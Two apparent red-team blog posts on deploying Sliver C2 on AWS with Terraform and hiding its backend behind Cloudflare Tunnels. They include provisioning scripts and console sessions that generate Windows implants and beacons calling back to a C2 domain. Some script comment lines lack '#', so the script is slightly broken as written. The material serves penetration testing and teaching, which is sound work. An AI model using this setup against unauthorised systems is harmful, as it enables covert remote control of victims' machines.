Sliver C2 - Cloudflare Tunnels

Overview

The previous post in the series is about installing sliver c2 on AWS using Terraform.

The goal of this post is to look into sliver’s network communication and apply basic modifications to the communication patterns. In addition the Cloudflare tunnel feature is used to tunnel traffic between the implant host through cloudflares infrastructure to the sliverc2 team server hosted on AWS without exposing the c2 backend publicly on the internet. An alternative to cloudflare might be ngrok with their secure tunnels feature. If such services are used, the terms of use of the service provider must be observed and followed.

All scripts can be found on github.

C2 infrastructure is deployed with the intent to reach several goals:

  • Hide the true location of the C2 server.
  • Blend in with legitimate communication e.g. use of reputable infrastructure.
  • Reduce the publicly reachable attack surface of the c2 backend.
  • Keep operational flexibility during scenarios.

Cloudflare Tunnels

Cloudflare Tunnel provides you with a secure way to connect your resources to Cloudflare without a publicly routable IP address. With Tunnel, you do not send traffic to an external IP — instead, a lightweight daemon in your infrastructure (cloudflared) creates outbound-only connections to Cloudflare’s edge. Cloudflare Tunnel can connect HTTP web servers, SSH servers, remote desktops, and other protocols safely to Cloudflare. This way, your origins can serve traffic through Cloudflare without being vulnerable to attacks that bypass Cloudflare.

Architecture

AWS Architecture C2 Infrastructure is only directly accessible through the whitelisted terraform environment source IP-Adress. Implants comunicate through Cloudflare’s Edge Network.

Cloudflare Tunnel: Setup

  1. Setup the tunnel on Cloudflare (Cloudflare Zero Trust - Access - Tunnels)
  2. Download and install the cloudflared daemon
  3. Assign a external tunnel entry point (e.g. entry.random-malware-domain.com)
  4. Choose a internal Service (e.g. http://localhost:4444) - cloudflareD and sliver don’t have to run on the same system - it is possible to port forward to another redirector system using e.g. socat, nginx, traefik, etc.

Terraform script update:

the commands to install and configure cloudflared have been added to the sliverc2-bootstrap.sh provisioning file:


#!/bin/bash
[...]
# sleep until instance is ready
# MSF nightly framework installer
# sliver c2 install:
[...]
# cloudflared:
curl -L --output cloudflared.deb https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb && 
sudo dpkg -i cloudflared.deb &&  
sudo cloudflared service install eyjbw[INSERT tunnel key here....] &&
systemctl status cloudflared --no-pager
exit

The cloudflare zero trust dashboard should report the tunnel as ACTIVE after successful installation of cloudflared:

Sliver implant

The sliver implant should use the newly created tunnel entrypoint on entry.random-malware-domain.com:

sliver > https
[*] Starting HTTPS :443 listener ...
[*] Successfully started job #1

sliver > generate --debug --http https://entry.random-malware-domain.com
[*] Generating new windows/amd64 implant binary
[*] Build completed in 00:00:22
[*] Implant saved to /home/ubuntu/RELIEVED_RETURN.exe

[*] Session 8a1eb5d4 RELIEVED_RETURN - (MSEDGEWIN10) - windows/amd64

until next time…

███████╗██╗     ██╗██╗   ██╗███████╗██████╗
██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
███████╗██║     ██║██║   ██║█████╗  ██████╔╝
╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

Further ressources:

Sliver C2: Intro

Overview

The goal of this blog post is to show how to deploy sliver c2 in an automated way on AWS ec2 using Hashicorp terraform. sliver and it’s dependencies are installed using a bash shell script. Configuration and State management tools like Chef/Ansible would be more suited for this task but that would go beyond the scope of this introductory post.

All scripts can be found on github.

Sliver is a Command and Control (C2) system made for penetration testers, red teams, and blue teams. It generates implants that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, Mutual TLS (mTLS), WireGuard, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.

Architecture

AWS Architecture Please note: We are exposing the C2 server directly and don’t use redirectors for simplicity in this blog post.

Installation

This blog post assumes that terraform and the necessary AWS credentials to deploy infrastructure is already configured. The file main.tf creates a AWS EC2 t2.micro instance in the default VPC in eu-central-1. Sliver is being installed using the sliverc2-bootstrap.sh bash script using terraforms remote-exec feature. Network access to the EC2 instance is controlled using security groups. Port 22, 80 and 443 is automatically whitelisted to the current source ip of the terraform execution environment using cloudflare’s https://icanhazip.com service (see variables.tf). In addition, a AWS Route53 Zone gets updated with the public IP of the AWS EC2 maschine, see variables.tf


terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 4.16"
    }
  }

  required_version = ">= 1.2.0"
}

provider "aws" {
  region = "eu-central-1"
}

resource "aws_instance" "sliver-c2" {
  ami                    = var.ami-id
  instance_type          = "t2.micro"
  key_name               = var.ssh-key-name
  vpc_security_group_ids = [aws_security_group.main.id]

 
  # Provisioning the sliver bootstrap file.
  provisioner "file" {
    source      = "[...]/sliver-terraform/sliverc2-bootstrap.sh"
    destination = "/tmp/sliverc2-bootstrap.sh"
  }
  # Executing the sliver bootstrap file.
  # Terraform does not reccomend this method becuase Terraform state file cannot track what the scrip is provissioning
  provisioner "remote-exec" {
    inline = [
      "chmod +x /tmp/sliverc2-bootstrap.sh",
      "sudo /tmp/sliverc2-bootstrap.sh",
    ]
  }

  # Setting up the ssh connection to install sliver/msf.
  connection {
    type        = "ssh"
    host        = self.public_ip
    user        = "ubuntu"
    private_key = file(var.ssh-keyPath)
  }


  tags = {
    Name        = var.instance_name
    Terraform   = "true"
    Environment = "dev"
  }
}

resource "aws_security_group" "main" {
  egress = [
    {
      cidr_blocks      = ["0.0.0.0/0", ]
      description      = ""
      from_port        = 0
      ipv6_cidr_blocks = []
      prefix_list_ids  = []
      protocol         = "-1"
      security_groups  = []
      self             = false
      to_port          = 0
    }
  ]
  ingress = [
    {
      cidr_blocks      = ["${chomp(data.http.my_source_ip.body)}/32"]
      description      = "HTTP Access - Dynamic Source IP Update"
      from_port        = 80
      ipv6_cidr_blocks = []
      prefix_list_ids  = []
      protocol         = "tcp"
      security_groups  = []
      self             = false
      to_port          = 81
    },
    {
      cidr_blocks      = ["${chomp(data.http.my_source_ip.body)}/32"]
      description      = "HTTPS Access - Dynamic Source IP Update"
      from_port        = 443
      ipv6_cidr_blocks = []
      prefix_list_ids  = []
      protocol         = "tcp"
      security_groups  = []
      self             = false
      to_port          = 443
    },
    {
      cidr_blocks      = ["${chomp(data.http.my_source_ip.body)}/32"]
      description      = "SSH Access - Dynamic Source IP Update"
      from_port        = 22
      ipv6_cidr_blocks = []
      prefix_list_ids  = []
      protocol         = "tcp"
      security_groups  = []
      self             = false
      to_port          = 22
    }
  ]
}

resource "aws_route53_record" "sliverc2-record" {
  zone_id = var.route53-zoneid
  name    = var.route53-subdomain
  type    = "A"
  ttl     = "300"
  records = [aws_instance.sliver-c2.public_ip]
}

variable "ami-id" {
# Eu-Central-1 AMI ID:
  #Canonical, Ubuntu, 22.04 LTS, amd64 jammy image build on 2022-06-09
default = "ami-065deacbcaac64cf2"
}

variable "ssh-key-name" {
default = "sliver-c2-terraform"
}

variable "instance_name" {
  description = "Value of Name tag for the EC2 instance"
  type        = string
  default     = "sliverC2-terraform-test"
}

variable "ssh-keyPath" {
  default = "sliver-c2-terraform.pem"
}

variable "route53-zoneid" {
  default = "Z0727[....]]XI05F1"
}


variable "route53-subdomain" {
  default = "sliverc2-2873.port9.org"
}

data "http" "my_source_ip" {
  url = "https://ipv4.icanhazip.com"
}

#!/bin/bash
# sleep until instance is ready
until [[ -f /var/lib/cloud/instance/boot-finished ]]; do
  sleep 1
done

apt-get update
cd /tmp
export DEBIAN_FRONTEND=noninteractive
apt-get -yq install mingw-w64

sleep 3
 MSF nightly framework installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall

 sliver install:
curl https://sliver.sh/install -o sliverc2.sh
chmod +x sliverc2.sh
./sliverc2.sh
rm /tmp/msfinstall
rm /tmp/sliverc2-bootstrap.sh
rm /tmp/sliverc2.sh
rm /tmp/terraf*.sh
systemctl status sliver --no-pager
exit

cptke@redstar-os: # terraform apply
aws_instance.sliver-c2: Creating...
[...]
aws_instance.sliver-c2: Still creating... [2m10s elapsed]

aws_instance.sliver-c2 (remote-exec): '/root/sliver-client_linux' -> '/usr/local/bin/sliver'
aws_instance.sliver-c2 (remote-exec): Configuring systemd service ...
aws_instance.sliver-c2 (remote-exec): Generating operator configs ...
aws_instance.sliver-c2 (remote-exec): ● sliver.service - Sliver
aws_instance.sliver-c2 (remote-exec):      Loaded: loaded (/etc/systemd/system/sliver.service;)
aws_instance.sliver-c2 (remote-exec):      Active: active (running)
aws_instance.sliver-c2 (remote-exec):    Main PID: 3433 (sliver-server)
aws_instance.sliver-c2 (remote-exec):       Tasks: 5 (limit: 1146)
aws_instance.sliver-c2 (remote-exec):      Memory: 18.2M
aws_instance.sliver-c2 (remote-exec):         CPU: 79ms
aws_instance.sliver-c2 (remote-exec):      CGroup: /system.slice/sliver.service
aws_instance.sliver-c2 (remote-exec):              └─3433 /root/sliver-server…

aws_instance.sliver-c2: Creation complete after 2m17s [id=i-03404efcf1ca229a5]
[...]

The instance should be ready, bundled with MSF and sliver after about ~3 minutes.

Basic sliver usage:

Connect to the EC2 instance using the prepared ssh key pair and interact with sliver:

  • Start HTTP and HTTPS listener.
  • Generate a example beacon.
  • Download & execute beacon.
# sliver
Connecting to localhost:31337 ...

 	  ██████  ██▓     ██▓ ██▒   █▓▓█████  ██▀███
	▒██    ▒ ▓██▒    ▓██▒▓██░   █▒▓█   ▀ ▓██ ▒ ██▒
	░ ▓██▄   ▒██░    ▒██▒ ▓██  █▒░▒███   ▓██ ░▄█ ▒
	  ▒   ██▒▒██░    ░██░  ▒██ █░░▒▓█  ▄ ▒██▀▀█▄
	▒██████▒▒░██████▒░██░   ▒▀█░  ░▒████▒░██▓ ▒██▒
	▒ ▒▓▒ ▒ ░░ ▒░▓  ░░▓     ░ ▐░  ░░ ▒░ ░░ ▒▓ ░▒▓░
	░ ░▒  ░ ░░ ░ ▒  ░ ▒ ░   ░ ░░   ░ ░  ░  ░▒ ░ ▒░
	░  ░  ░    ░ ░    ▒ ░     ░░     ░     ░░   ░
		  ░      ░  ░ ░        ░     ░  ░   ░


All hackers gain fear
[*] Server v1.5.17 - 814670dc6d023f290fefd3e0fd7e0c420f9bb2e8
[*] Welcome to the sliver shell, please type 'help' for options

sliver > http

[*] Starting HTTP :80 listener ...
[*] Successfully started job #1

sliver > https

[*] Starting HTTPS :443 listener ...
sliver > 
[*] Successfully started job #2

sliver > jobs

 ID   Name    Protocol   Port 
==== ======= ========== ======
 1    http    tcp        80   
 2    https   tcp        443  

sliver > generate beacon --http sliverc2.port9.org 
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:40
[*] Implant saved to /home/ubuntu/STILL_PACKET.exe

[*] Beacon 1e10e41e STILL_PACKET - 95.223.86.51:29425 (MSEDGEWIN10) - windows/amd64 

sliver > use 1e10e41e
[*] Active beacon STILL_PACKET (1e10e41e-3d60-45df-bc6b-a0a239ad7dc8)

sliver (STILL_PACKET) > whoami

Logon ID: MSEDGEWIN10\IEUser
[*] Tasked beacon STILL_PACKET (49402002)

Architecture deployed through Terraform can be destroyed using terraform destroy.

The next post will look into slivers features such as socks5 proxy, armory, and more. To be continued.

Further ressources:

Automating Red Teaming infrastructure deployment is not a new topic, below are several interesting blog posts covering this topic in depth: